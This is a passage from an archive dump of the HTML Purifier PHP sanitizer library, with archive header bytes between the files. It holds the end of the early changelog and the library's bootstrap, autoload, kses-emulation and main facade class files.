. Doctype object added to HTMLDefinition which describes certain aspects
of the operational document type
. Lexer is now pre-emptively included, with a conditional include for the
PHP5 only version.
. HTMLDefinition and CSSDefinition have a common parent class: Definition.
. DirectLex can now track line-numbers
. Preliminary error collector is in place, although no code actually reports
errors yet
. Factor out most of ValidateAttributes to new AttrValidator class
1.6.1, released 2007-05-05
! Support for more deprecated attributes via transformations:
+ hspace and vspace in img
+ size and noshade in hr
+ nowrap in td
+ clear in br
+ align in caption, table, img and hr
+ type in ul, ol and li
! DirectLex now preserves text in which a < bracket is followed by
a non-alphanumeric character. This means that certain emoticons
are now preserved.
! %Core.RemoveInvalidImg is now operational, when set to false invalid
images will hang around with an empty src
! target attribute in a tag supported, use %Attr.AllowedFrameTargets
to enable
! CSS property white-space now allows nowrap (supported in all modern
browsers) but not others (which have spotty browser implementations)
! XHTML 1.1 mode now sort-of works without any fatal errors, and
lang is now moved over to xml:lang.
! Attribute transformation smoketest available at smoketests/attrTransform.php
! Transformation of font's size attribute now handles super-large numbers
- Possibly fatal bug with __autoload() fixed in module manager
- Invert HTMLModuleManager->addModule() processing order to check
prefixes first and then the literal module
- Empty strings get converted to empty arrays instead of arrays with
an empty string in them.
- Merging in attribute lists now works.
. Demo script removed: it has been added to the website's repository
. Basic.php script modified to work out of the box
. Refactor AttrTransform classes to reduce duplication
. AttrTransform_TextAlign axed in favor of a more general
AttrTransform_EnumToCSS, refer to HTMLModule/TransformToStrict.php to
see how the new equivalent is implemented
. Unit tests now use exclusively assertIdentical
1.6.0, released 2007-04-01
! Support for most common deprecated attributes via transformations:
+ bgcolor in td, th, tr and table
+ border in img
+ name in a and img
+ width in td, th and hr
+ height in td, th
! Support for CSS attribute 'height' added
! Support for rel and rev attributes in a tags added, use %Attr.AllowedRel
and %Attr.AllowedRev to activate
- You can define ID blacklists using regular expressions via
%Attr.IDBlacklistRegexp
- Error messages are emitted when you attempt to "allow" elements or
attributes that HTML Purifier does not support
- Fix segfault in unit test. The problem is not very reproduceable and
I don't know what causes it, but a six line patch fixed it.
1.5.0, released 2007-03-23
! Added a rudimentary I18N and L10N system modeled off MediaWiki. It
doesn't actually do anything yet, but keep your eyes peeled.
! docs/enduser-utf8.html explains how to use UTF-8 and HTML Purifier
! Newly structured HTMLDefinition modeled off of XHTML 1.1 modules.
I am loathe to release beta quality APIs, but this is exactly that;
don't use the internal interfaces if you're not willing to do migration
later on.
- Allow 'x' subtag in language codes
- Fixed buggy chameleon-support for ins and del
. Added support for IDREF attributes (i.e. for)
. Renamed HTMLPurifier_AttrDef_Class to HTMLPurifier_AttrDef_Nmtokens
. Removed context variable ParentType, replaced with IsInline, which
is false when you're not inline and an integer of the parent that
caused you to become inline when you are (so possibly zero)
. Removed ElementDef->type in favor of ElementDef->descendants_are_inline
and HTMLDefinition->content_sets
. StrictBlockquote now reports what elements its supposed to allow,
rather than what it does allow
. Removed HTMLDefinition->info_flow_elements in favor of
HTMLDefinition->content_sets['Flow']
. Removed redundant "exclusionary" definitions from DTD roster
. StrictBlockquote now requires a construction parameter as if it
were an Required ChildDef, this is the "real" set of allowed elements
. AttrDef partitioned into HTML, CSS and URI segments
. Modify Youtube filter regexp to be multiline
. Require both PHP5 and DOM extension in order to use DOMLex, fixes
some edge cases where a DOMDocument class exists in a PHP4 environment
due to DOM XML extension.
1.4.1, released 2007-01-21
! docs/enduser-youtube.html updated according to new functionality
- YouTube IDs can have underscores and dashes
1.4.0, released 2007-01-21
! Implemented list-style-image, URIs now allowed in list-style
! Implemented background-image, background-repeat, background-attachment
and background-position CSS properties. Shorthand property background
supports all of these properties.
! Configuration documentation looks nicer
! Added %Core.EscapeNonASCIICharacters to workaround loss of Unicode
characters while %Core.Encoding is set to a non-UTF-8 encoding.
! Support for configuration directive aliases added
! Config object can now be instantiated from ini files
! YouTube preservation code added to the core, with two lines of code
you can add it as a filter to your code. See smoketests/preserveYouTube.php
for sample code.
! Moved SLOW to docs/enduser-slow.html and added code examples
- Replaced version check with functionality check for DOM (thanks Stephen
Khoo)
. Added smoketest 'all.php', which loads all other smoketests via frames
. Implemented AttrDef_CSSURI for url(http://google.com) style declarations
. Added convenient single test selector form on test runner
1.3.2, released 2006-12-25
! HTMLPurifier object now accepts configuration arrays, no need to manually
instantiate a configuration object
! Context object now accessible to outside
! Added enduser-youtube.html, explains how to embed YouTube videos. See
also corresponding smoketest preserveYouTube.php.
! Added purifyArray(), which takes a list of HTML and purifies it all
! Added static member variable $version to HTML Purifier with PHP-compatible
version number string.
- Fixed fatal error thrown by upper-cased language attributes
- printDefinition.php: added labels, added better clarification
. HTMLPurifier_Config::create() added, takes mixed variable and converts into
a HTMLPurifier_Config object.
1.3.1, released 2006-12-06
! Added HTMLPurifier.func.php stub for a convenient function to call the library
- Fixed bug in RemoveInvalidImg code that caused all images to be dropped
(thanks to .mario for reporting this)
. Standardized all attribute handling variables to attr, made it plural
1.3.0, released 2006-11-26
# Invalid images are now removed, rather than replaced with a dud
<img src="" alt="Invalid image" />. Previous behavior can be restored
with new directive %Core.RemoveInvalidImg set to false.
! (X)HTML Strict now supported
+ Transparently handles inline elements in block context (blockquote)
! Added GET method to demo for easier validation, added 50kb max input size
! New directive %HTML.BlockWrapper, for block-ifying inline elements
! New directive %HTML.Parent, allows you to only allow inline content
! New directives %HTML.AllowedElements and %HTML.AllowedAttributes to let
users narrow the set of allowed tags
! <li value="4"> and <ul start="2"> now allowed in loose mode
! New directives %URI.DisableExternalResources and %URI.DisableResources
! New directive %Attr.DisableURI, which eliminates all hyperlinking
! New directive %URI.Munge, munges URI so you can use some sort of redirector
service to avoid PageRank leaks or warn users that they are exiting your site.
! Added spiffy new smoketest printDefinition.php, which lets you twiddle with
the configuration settings and see how the internal rules are affected.
! New directive %URI.HostBlacklist for blocking links to bad hosts.
xssAttacks.php smoketest updated accordingly.
- Added missing type to ChildDef_Chameleon
- Remove Tidy option from demo if there is not Tidy available
. ChildDef_Required guards against empty tags
. Lookup table HTMLDefinition->info_flow_elements added
. Added peace-of-mind variable initialization to Strategy_FixNesting
. Added HTMLPurifier->info_parent_def, parent child processing made special
. Added internal documents briefly summarizing future progression of HTML
. HTMLPurifier_Config->getBatch($namespace) added
. More lenient casting to bool from string in HTMLPurifier_ConfigSchema
. Refactored ChildDef classes into their own files
1.2.0, released 2006-11-19
# ID attributes now disabled by default. New directives:
+ %HTML.EnableAttrID - restores old behavior by allowing IDs
+ %Attr.IDPrefix - %Attr.IDBlacklist alternative that munges all user IDs
so that they don't collide with your IDs
+ %Attr.IDPrefixLocal - Same as above, but for when there are multiple
instances of user content on the page
+ Profuse documentation on how to use these available in docs/enduser-id.txt
! Added MODx plugin <http://modxcms.com/forums/index.php/topic,6604.0.html>
! Added percent encoding normalization
! XSS attacks smoketest given facelift
! Configuration documentation now has table of contents
! Added %URI.DisableExternal, which prevents links to external websites. You
can also use %URI.Host to permit absolute linking to subdomains
! Non-accessible resources (ex. mailto) blocked from embedded URIs (img src)
- Type variable in HTMLDefinition was not being set properly, fixed
- Documentation updated
+ TODO added request Phalanger
+ TODO added request Native compression
+ TODO added request Remove redundant tags
+ TODO added possible plaintext formatter for HTML Purifier documentation
+ Updated ConfigDoc TODO
+ Improved inline comments in AttrDef/Class.php, AttrDef/CSS.php
and AttrDef/Host.php
+ Revamped documentation into HTML, along with misc updates
- HTMLPurifier_Context doesn't throw a variable reference error if you attempt
to retrieve a non-existent variable
. Switched to purify()-wide Context object registry
. Refactored unit tests to minimize duplication
. XSS attack sheet updated
. configdoc.xml now has xml:space attached to default value nodes
. Allow configuration directives to permit null values
. Cleaned up test-cases to remove unnecessary swallowErrors()
1.1.2, released 2006-09-30
! Add HTMLPurifier.auto.php stub file that configures include_path
- Documentation updated
+ INSTALL document rewritten
+ TODO added semi-lossy conversion
+ API Doxygen docs' file exclusions updated
+ Added notes on HTML versus XML attribute whitespace handling
+ Noted that HTMLPurifier_ChildDef_Custom isn't being used
+ Noted that config object's definitions are cached versions
- Fixed lack of attribute parsing in HTMLPurifier_Lexer_PEARSax3
- ftp:// URIs now have their typecodes checked
- Hooked up HTMLPurifier_ChildDef_Custom's unit tests (they weren't being run)
. Line endings standardized throughout project (svn:eol-style standardized)
. Refactored parseData() to general Lexer class
. Tester named "HTML Purifier" not "HTMLPurifier"
1.1.1, released 2006-09-24
! Configuration option to optionally Tidy up output for indentation to make up
for dropped whitespace by DOMLex (pretty-printing for the entire application
should be done by a page-wide Tidy)
- Various documentation updates
- Fixed parse error in configuration documentation script
- Fixed fatal error in benchmark scripts, slightly augmented
- As far as possible, whitespace is preserved in-between table children
- Sample test-settings.php file included
1.1.0, released 2006-09-16
! Directive documentation generation using XSLT
! XHTML can now be turned off, output becomes <br>
- Made URI validator more forgiving: will ignore leading and trailing
quotes, apostrophes and less than or greater than signs.
- Enforce alphanumeric namespace and directive names for configuration.
- Table child definition made more flexible, will fix up poorly ordered elements
. Renamed ConfigDef to ConfigSchema
1.0.1, released 2006-09-04
- Fixed slight bug in DOMLex attribute parsing
- Fixed rejection of case-insensitive configuration values when there is a
set of allowed values. This manifested in %Core.Encoding.
- Fixed rejection of inline style declarations that had lots of extra
space in them. This manifested in TinyMCE.
1.0.0, released 2006-09-01
! Shorthand CSS properties implemented: font, border, background, list-style
! Basic color keywords translated into hexadecimal values
! Table CSS properties implemented
! Support for charsets other than UTF-8 (defined by iconv)
! Malformed UTF-8 and non-SGML character detection and cleaning implemented
- Fixed broken numeric entity conversion
- API documentation completed
. (HTML|CSS)Definition de-singleton-ized
1.0.0beta, released 2006-08-16
! First public release, most functionality implemented. Notable omissions are:
+ Shorthand CSS properties
+ Table CSS properties
+ Deprecated attribute transformations
vim: et sw=4 sts=4
PK j�$Z��\F� � * htmlpurifier/library/HTMLPurifier.path.phpnu �[��� <?php
/**
* @file
* Convenience stub file that adds HTML Purifier's library file to the path
* without any other side-effects.
*/
set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() );
// vim: et sw=4 sts=4
PK j�$Z�� ' ' . htmlpurifier/library/HTMLPurifier.autoload.phpnu �[��� <?php
/**
* @file
* Convenience file that registers autoload handler for HTML Purifier.
* It also does some sanity checks.
*/
if (function_exists('spl_autoload_register') && function_exists('spl_autoload_unregister')) {
// We need unregister for our pre-registering functionality
HTMLPurifier_Bootstrap::registerAutoload();
if (function_exists('__autoload')) {
// Be polite and ensure that userland autoload gets retained
spl_autoload_register('__autoload');
}
} elseif (!function_exists('__autoload')) {
require dirname(__FILE__) . '/HTMLPurifier.autoload-legacy.php';
}
if (ini_get('zend.ze1_compatibility_mode')) {
trigger_error("HTML Purifier is not compatible with zend.ze1_compatibility_mode; please turn it off", E_USER_ERROR);
}
// vim: et sw=4 sts=4
PK j�$Z�f��@ @ * htmlpurifier/library/HTMLPurifier.func.phpnu �[��� <?php
/**
* @file
* Defines a function wrapper for HTML Purifier for quick use.
* @note ''HTMLPurifier()'' is NOT the same as ''new HTMLPurifier()''
*/
/**
* Purify HTML.
* @param string $html String HTML to purify
* @param mixed $config Configuration to use, can be any value accepted by
* HTMLPurifier_Config::create()
* @return string
*/
function HTMLPurifier($html, $config = null)
{
static $purifier = false;
if (!$purifier) {
$purifier = new HTMLPurifier();
}
return $purifier->purify($html, $config);
}
// vim: et sw=4 sts=4
PK j�$Z�K�#� � * htmlpurifier/library/HTMLPurifier.kses.phpnu �[��� <?php
/**
* @file
* Emulation layer for code that used kses(), substituting in HTML Purifier.
*/
require_once dirname(__FILE__) . '/HTMLPurifier.auto.php';
function kses($string, $allowed_html, $allowed_protocols = null)
{
$config = HTMLPurifier_Config::createDefault();
$allowed_elements = array();
$allowed_attributes = array();
foreach ($allowed_html as $element => $attributes) {
$allowed_elements[$element] = true;
foreach ($attributes as $attribute => $x) {
$allowed_attributes["$element.$attribute"] = true;
}
}
$config->set('HTML.AllowedElements', $allowed_elements);
$config->set('HTML.AllowedAttributes', $allowed_attributes);
if ($allowed_protocols !== null) {
$config->set('URI.AllowedSchemes', $allowed_protocols);
}
$purifier = new HTMLPurifier($config);
return $purifier->purify($string);
}
// vim: et sw=4 sts=4
PK j�$Z�aي * htmlpurifier/library/HTMLPurifier.auto.phpnu �[��� <?php
/**
* This is a stub include that automatically configures the include path.
*/
set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() );
require_once 'HTMLPurifier/Bootstrap.php';
require_once 'HTMLPurifier.autoload.php';
// vim: et sw=4 sts=4
PK j�$Zral�' �' % htmlpurifier/library/HTMLPurifier.phpnu �[��� <?php
/*! @mainpage
*
* HTML Purifier is an HTML filter that will take an arbitrary snippet of
* HTML and rigorously test, validate and filter it into a version that
* is safe for output onto webpages. It achieves this by:
*
* -# Lexing (parsing into tokens) the document,
* -# Executing various strategies on the tokens:
* -# Removing all elements not in the whitelist,
* -# Making the tokens well-formed,
* -# Fixing the nesting of the nodes, and
* -# Validating attributes of the nodes; and
* -# Generating HTML from the purified tokens.
*
* However, most users will only need to interface with the HTMLPurifier
* and HTMLPurifier_Config.
*/
/*
HTML Purifier 4.12.0 - Standards Compliant HTML Filtering
Copyright (C) 2006-2008 Edward Z. Yang
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
/**
* Facade that coordinates HTML Purifier's subsystems in order to purify HTML.
*
* @note There are several points in which configuration can be specified
* for HTML Purifier. The precedence of these (from lowest to
* highest) is as follows:
* -# Instance: new HTMLPurifier($config)
* -# Invocation: purify($html, $config)
* These configurations are entirely independent of each other and
* are *not* merged (this behavior may change in the future).
*
* @todo We need an easier way to inject strategies using the configuration
* object.
*/
class HTMLPurifier
{
/**
* Version of HTML Purifier.
* @type string
*/
public $version = '4.12.0';
/**
* Constant with version of HTML Purifier.
*/
const VERSION = '4.12.0';
/**
* Global configuration object.
* @type HTMLPurifier_Config
*/
public $config;
/**
* Array of extra filter objects to run on HTML,
* for backwards compatibility.
* @type HTMLPurifier_Filter[]
*/
private $filters = array();
/**
* Single instance of HTML Purifier.
* @type HTMLPurifier
*/
private static $instance;
/**
* @type HTMLPurifier_Strategy_Core
*/
protected $strategy;
/**
* @type HTMLPurifier_Generator
*/
protected $generator;
/**
* Resultant context of last run purification.
* Is an array of contexts if the last called method was purifyArray().
* @type HTMLPurifier_Context
*/
public $context;
/**
* Initializes the purifier.
*
* @param HTMLPurifier_Config|mixed $config Optional HTMLPurifier_Config object
* for all instances of the purifier, if omitted, a default
* configuration is supplied (which can be overridden on a
* per-use basis).
* The parameter can also be any type that
* HTMLPurifier_Config::create() supports.
*/
public function __construct($config = null)
{
$this->config = HTMLPurifier_Config::create($config);
$this->strategy = new HTMLPurifier_Strategy_Core();
}
/**
* Adds a filter to process the output. First come first serve
*
* @param HTMLPurifier_Filter $filter HTMLPurifier_Filter object
*/
public function addFilter($filter)
{
trigger_error(
'HTMLPurifier->addFilter() is deprecated, use configuration directives' .
' in the Filter namespace or Filter.Custom',
E_USER_WARNING
);
$this->filters[] = $filter;
}
/**
* Filters an HTML snippet/document to be XSS-free and standards-compliant.
*
* @param string $html String of HTML to purify
* @param HTMLPurifier_Config $config Config object for this operation,
* if omitted, defaults to the config object specified during this
* object's construction. The parameter can also be any type
* that HTMLPurifier_Config::create() supports.
*
* @return string Purified HTML
*/
public function purify($html, $config = null)
{
// :TODO: make the config merge in, instead of replace
$config = $config ? HTMLPurifier_Config::create($config) : $this->config;
// implementation is partially environment dependant, partially
// configuration dependant
$lexer = HTMLPurifier_Lexer::create($config);
$context = new HTMLPurifier_Context();
// setup HTML generator
$this->generator = new HTMLPurifier_Generator($config, $context);
$context->register('Generator', $this->generator);
// set up global context variables
if ($config->get('Core.CollectErrors')) {
// may get moved out if other facilities use it
$language_factory = HTMLPurifier_LanguageFactory::instance();
$language = $language_factory->create($config, $context);
$context->register('Locale', $language);
$error_collector = new HTMLPurifier_ErrorCollector($context);
$context->register('ErrorCollector', $error_collector);
}
// setup id_accumulator context, necessary due to the fact that
// AttrValidator can be called from many places
$id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context);
$context->register('IDAccumulator', $id_accumulator);
$html = HTMLPurifier_Encoder::convertToUTF8($html, $config, $context);
// setup filters
$filter_flags = $config->getBatch('Filter');
$custom_filters = $filter_flags['Custom'];
unset($filter_flags['Custom']);
$filters = array();
foreach ($filter_flags as $filter => $flag) {
if (!$flag) {
continue;
}
if (strpos($filter, '.') !== false) {
continue;
}
$class = "HTMLPurifier_Filter_$filter";
$filters[] = new $class;
}
foreach ($custom_filters as $filter) {
// maybe "HTMLPurifier_Filter_$filter", but be consistent with AutoFormat
$filters[] = $filter;
}
$filters = array_merge($filters, $this->filters);
// maybe prepare(), but later
for ($i = 0, $filter_size = count($filters); $i < $filter_size; $i++) {
$html = $filters[$i]->preFilter($html, $config, $context);
}
// purified HTML
$html =
$this->generator->generateFromTokens(
// list of tokens
$this->strategy->execute(
// list of un-purified tokens
$lexer->tokenizeHTML(
// un-purified HTML
$html,
$config,
$context
),
$config,
$context
)
);
for ($i = $filter_size - 1; $i >= 0; $i--) {
$html = $filters[$i]->postFilter($html, $config, $context);
}
$html = HTMLPurifier_Encoder::convertFromUTF8($html, $config, $context);
$this->context =& $context;
return $html;
}
/**
* Filters an array of HTML snippets
*
* @param string[] $array_of_html Array of html snippets
* @param HTMLPurifier_Config $config Optional config object for this operation.
* See HTMLPurifier::purify() for more details.
*
* @return string[] Array of purified HTML
*/
public function purifyArray($array_of_html, $config = null)
{
$context_array = array();
foreach($array_of_html as $key=>$value){
if (is_array($value)) {
$array[$key] = $this->purifyArray($value, $config);
} else {
$array[$key] = $this->purify($value, $config);
}
$context_array[$key] = $this->context;
}
$this->context = $context_array;
return $array;
}
/**
* Singleton for enforcing just one HTML Purifier in your system
*
* @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype
* HTMLPurifier instance to overload singleton with,
* or HTMLPurifier_Config instance to configure the
* generated version with.
*
* @return HTMLPurifier
*/
public static function instance($prototype = null)
{
if (!self::$instance || $prototype) {
if ($prototype instanceof HTMLPurifier) {
self::$instance = $prototype;
} elseif ($prototype) {
self::$instance = new HTMLPurifier($prototype);
} else {
self::$instance = new HTMLPurifier();
}
}
return self::$instance;
}
/**
* Singleton for enforcing just one HTML Purifier in your system
*
* @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype
* HTMLPurifier instance to overload singleton with,
* or HTMLPurifier_Config instance to configure the
* generated version with.
*
* @return HTMLPurifier
* @note Backwards compatibility, see instance()
*/
public static function getInstance($prototype = null)
{
return HTMLPurifier::instance($prototype);
}
}
// vim: et sw=4 sts=4
PK j�$Z ���e e . htmlpurifier/library/HTMLPurifier.composer.phpnu �[��� <?php
if (!defined('HTMLPURIFIER_PREFIX')) {
define('HTMLPURIFIER_PREFIX', dirname(__FILE__));
}
PK j�$Z{lJ�) ) . htmlpurifier/library/HTMLPurifier.includes.phpnu �[��� <?php
/**
* @file
* This file was auto-generated by generate-includes.php and includes all of
* the core files required by HTML Purifier. Use this if performance is a
* primary concern and you are using an opcode cache. PLEASE DO NOT EDIT THIS
* FILE, changes will be overwritten the next time the script is run.
*
* @version 4.12.0
*
* @warning
* You must *not* include any other HTML Purifier files before this file,
* because 'require' not 'require_once' is used.
*
* @warning
* This file requires that the include path contains the HTML Purifier
* library directory; this is not auto-set.
*/
require 'HTMLPurifier.php';
require 'HTMLPurifier/Arborize.php';
require 'HTMLPurifier/AttrCollections.php';
require 'HTMLPurifier/AttrDef.php';
require 'HTMLPurifier/AttrTransform.php';
require 'HTMLPurifier/AttrTypes.php';
require 'HTMLPurifier/AttrValidator.php';
require 'HTMLPurifier/Bootstrap.php';
require 'HTMLPurifier/Definition.php';
require 'HTMLPurifier/CSSDefinition.php';
require 'HTMLPurifier/ChildDef.php';
require 'HTMLPurifier/Config.php';
require 'HTMLPurifier/ConfigSchema.php';
require 'HTMLPurifier/ContentSets.php';
require 'HTMLPurifier/Context.php';
require 'HTMLPurifier/DefinitionCache.php';
require 'HTMLPurifier/DefinitionCacheFactory.php';
require 'HTMLPurifier/Doctype.php';
require 'HTMLPurifier/DoctypeRegistry.php';
require 'HTMLPurifier/ElementDef.php';
require 'HTMLPurifier/Encoder.php';
require 'HTMLPurifier/EntityLookup.php';
require 'HTMLPurifier/EntityParser.php';
require 'HTMLPurifier/ErrorCollector.php';
require 'HTMLPurifier/ErrorStruct.php';
require 'HTMLPurifier/Exception.php';
require 'HTMLPurifier/Filter.php';
require 'HTMLPurifier/Generator.php';
require 'HTMLPurifier/HTMLDefinition.php';
require 'HTMLPurifier/HTMLModule.php';
require 'HTMLPurifier/HTMLModuleManager.php';
require 'HTMLPurifier/IDAccumulator.php';
require 'HTMLPurifier/Injector.php';
require 'HTMLPurifier/Language.php';
require 'HTMLPurifier/LanguageFactory.php';
require 'HTMLPurifier/Length.php';
require 'HTMLPurifier/Lexer.php';
require 'HTMLPurifier/Node.php';
require 'HTMLPurifier/PercentEncoder.php';
require 'HTMLPurifier/PropertyList.php';
require 'HTMLPurifier/PropertyListIterator.php';
require 'HTMLPurifier/Queue.php';
require 'HTMLPurifier/Strategy.php';
require 'HTMLPurifier/StringHash.php';
require 'HTMLPurifier/StringHashParser.php';
require 'HTMLPurifier/TagTransform.php';
require 'HTMLPurifier/Token.php';
require 'HTMLPurifier/TokenFactory.php';
require 'HTMLPurifier/URI.php';
require 'HTMLPurifier/URIDefinition.php';
require 'HTMLPurifier/URIFilter.php';
require 'HTMLPurifier/URIParser.php';
require 'HTMLPurifier/URIScheme.php';
require 'HTMLPurifier/URISchemeRegistry.php';
require 'HTMLPurifier/UnitConverter.php';
require 'HTMLPurifier/VarParser.php';
require 'HTMLPurifier/VarParserException.php';
require 'HTMLPurifier/Zipper.php';
require 'HTMLPurifier/AttrDef/CSS.php';
require 'HTMLPurifier/AttrDef/Clone.php';
require 'HTMLPurifier/AttrDef/Enum.php';
require 'HTMLPurifier/AttrDef/Integer.php';
require 'HTMLPurifier/AttrDef/Lang.php';
require 'HTMLPurifier/AttrDef/Switch.php';
require 'HTMLPurifier/AttrDef/Text.php';
require 'HTMLPurifier/AttrDef/URI.php';
require 'HTMLPurifier/AttrDef/CSS/Number.php';
require 'HTMLPurifier/AttrDef/CSS/AlphaValue.php';
require 'HTMLPurifier/AttrDef/CSS/Background.php';
require 'HTMLPurifier/AttrDef/CSS/BackgroundPosition.php';
require 'HTMLPurifier/AttrDef/CSS/Border.php';
require 'HTMLPurifier/AttrDef/CSS/Color.php';
require 'HTMLPurifier/AttrDef/CSS/Composite.php';
require 'HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php';
require 'HTMLPurifier/AttrDef/CSS/Filter.php';
require 'HTMLPurifier/AttrDef/CSS/Font.php';
require 'HTMLPurifier/AttrDef/CSS/FontFamily.php';
require 'HTMLPurifier/AttrDef/CSS/Ident.php';
require 'HTMLPurifier/AttrDef/CSS/ImportantDecorator.php';
require 'HTMLPurifier/AttrDef/CSS/Length.php';
require 'HTMLPurifier/AttrDef/CSS/ListStyle.php';
require 'HTMLPurifier/AttrDef/CSS/Multiple.php';
require 'HTMLPurifier/AttrDef/CSS/Percentage.php';
require 'HTMLPurifier/AttrDef/CSS/TextDecoration.php';
require 'HTMLPurifier/AttrDef/CSS/URI.php';
require 'HTMLPurifier/AttrDef/HTML/Bool.php';
require 'HTMLPurifier/AttrDef/HTML/Nmtokens.php';
require 'HTMLPurifier/AttrDef/HTML/Class.php';
require 'HTMLPurifier/AttrDef/HTML/Color.php';
require 'HTMLPurifier/AttrDef/HTML/FrameTarget.php';
require 'HTMLPurifier/AttrDef/HTML/ID.php';
require 'HTMLPurifier/AttrDef/HTML/Pixels.php';
require 'HTMLPurifier/AttrDef/HTML/Length.php';
require 'HTMLPurifier/AttrDef/HTML/LinkTypes.php';
require 'HTMLPurifier/AttrDef/HTML/MultiLength.php';
require 'HTMLPurifier/AttrDef/URI/Email.php';
require 'HTMLPurifier/AttrDef/URI/Host.php';
require 'HTMLPurifier/AttrDef/URI/IPv4.php';
require 'HTMLPurifier/AttrDef/URI/IPv6.php';
require 'HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php';
require 'HTMLPurifier/AttrTransform/Background.php';
require 'HTMLPurifier/AttrTransform/BdoDir.php';
require 'HTMLPurifier/AttrTransform/BgColor.php';
require 'HTMLPurifier/AttrTransform/BoolToCSS.php';
require 'HTMLPurifier/AttrTransform/Border.php';
require 'HTMLPurifier/AttrTransform/EnumToCSS.php';
require 'HTMLPurifier/AttrTransform/ImgRequired.php';
require 'HTMLPurifier/AttrTransform/ImgSpace.php';
require 'HTMLPurifier/AttrTransform/Input.php';
require 'HTMLPurifier/AttrTransform/Lang.php';
require 'HTMLPurifier/AttrTransform/Length.php';
require 'HTMLPurifier/AttrTransform/Name.php';
require 'HTMLPurifier/AttrTransform/NameSync.php';
require 'HTMLPurifier/AttrTransform/Nofollow.php';
require 'HTMLPurifier/AttrTransform/SafeEmbed.php';
require 'HTMLPurifier/AttrTransform/SafeObject.php';
require 'HTMLPurifier/AttrTransform/SafeParam.php';
require 'HTMLPurifier/AttrTransform/ScriptRequired.php';
require 'HTMLPurifier/AttrTransform/TargetBlank.php';
require 'HTMLPurifier/AttrTransform/TargetNoopener.php';
require 'HTMLPurifier/AttrTransform/TargetNoreferrer.php';
require 'HTMLPurifier/AttrTransform/Textarea.php';
require 'HTMLPurifier/ChildDef/Chameleon.php';
require 'HTMLPurifier/ChildDef/Custom.php';
require 'HTMLPurifier/ChildDef/Empty.php';
require 'HTMLPurifier/ChildDef/List.php';
require 'HTMLPurifier/ChildDef/Required.php';
require 'HTMLPurifier/ChildDef/Optional.php';
require 'HTMLPurifier/ChildDef/StrictBlockquote.php';
require 'HTMLPurifier/ChildDef/Table.php';
require 'HTMLPurifier/DefinitionCache/Decorator.php';
require 'HTMLPurifier/DefinitionCache/Null.php';
require 'HTMLPurifier/DefinitionCache/Serializer.php';
require 'HTMLPurifier/DefinitionCache/Decorator/Cleanup.php';
require 'HTMLPurifier/DefinitionCache/Decorator/Memory.php';
require 'HTMLPurifier/HTMLModule/Bdo.php';
require 'HTMLPurifier/HTMLModule/CommonAttributes.php';
require 'HTMLPurifier/HTMLModule/Edit.php';
require 'HTMLPurifier/HTMLModule/Forms.php';
require 'HTMLPurifier/HTMLModule/Hypertext.php';
require 'HTMLPurifier/HTMLModule/Iframe.php';
require 'HTMLPurifier/HTMLModule/Image.php';
require 'HTMLPurifier/HTMLModule/Legacy.php';
require 'HTMLPurifier/HTMLModule/List.php';
require 'HTMLPurifier/HTMLModule/Name.php';
require 'HTMLPurifier/HTMLModule/Nofollow.php';
require 'HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php';
require 'HTMLPurifier/HTMLModule/Object.php';
require 'HTMLPurifier/HTMLModule/Presentation.php';
require 'HTMLPurifier/HTMLModule/Proprietary.php';
require 'HTMLPurifier/HTMLModule/Ruby.php';
require 'HTMLPurifier/HTMLModule/SafeEmbed.php';
require 'HTMLPurifier/HTMLModule/SafeObject.php';
require 'HTMLPurifier/HTMLModule/SafeScripting.php';
require 'HTMLPurifier/HTMLModule/Scripting.php';
require 'HTMLPurifier/HTMLModule/StyleAttribute.php';
require 'HTMLPurifier/HTMLModule/Tables.php';
require 'HTMLPurifier/HTMLModule/Target.php';
require 'HTMLPurifier/HTMLModule/TargetBlank.php';
require 'HTMLPurifier/HTMLModule/TargetNoopener.php';
require 'HTMLPurifier/HTMLModule/TargetNoreferrer.php';
require 'HTMLPurifier/HTMLModule/Text.php';
require 'HTMLPurifier/HTMLModule/Tidy.php';
require 'HTMLPurifier/HTMLModule/XMLCommonAttributes.php';
require 'HTMLPurifier/HTMLModule/Tidy/Name.php';
require 'HTMLPurifier/HTMLModule/Tidy/Proprietary.php';
require 'HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php';
require 'HTMLPurifier/HTMLModule/Tidy/Strict.php';
require 'HTMLPurifier/HTMLModule/Tidy/Transitional.php';
require 'HTMLPurifier/HTMLModule/Tidy/XHTML.php';
require 'HTMLPurifier/Injector/AutoParagraph.php';
require 'HTMLPurifier/Injector/DisplayLinkURI.php';
require 'HTMLPurifier/Injector/Linkify.php';
require 'HTMLPurifier/Injector/PurifierLinkify.php';
require 'HTMLPurifier/Injector/RemoveEmpty.php';
require 'HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php';
require 'HTMLPurifier/Injector/SafeObject.php';
require 'HTMLPurifier/Lexer/DOMLex.php';
require 'HTMLPurifier/Lexer/DirectLex.php';
require 'HTMLPurifier/Node/Comment.php';
require 'HTMLPurifier/Node/Element.php';
require 'HTMLPurifier/Node/Text.php';
require 'HTMLPurifier/Strategy/Composite.php';
require 'HTMLPurifier/Strategy/Core.php';
require 'HTMLPurifier/Strategy/FixNesting.php';
require 'HTMLPurifier/Strategy/MakeWellFormed.php';
require 'HTMLPurifier/Strategy/RemoveForeignElements.php';
require 'HTMLPurifier/Strategy/ValidateAttributes.php';
require 'HTMLPurifier/TagTransform/Font.php';
require 'HTMLPurifier/TagTransform/Simple.php';
require 'HTMLPurifier/Token/Comment.php';
require 'HTMLPurifier/Token/Tag.php';
require 'HTMLPurifier/Token/Empty.php';
require 'HTMLPurifier/Token/End.php';
require 'HTMLPurifier/Token/Start.php';
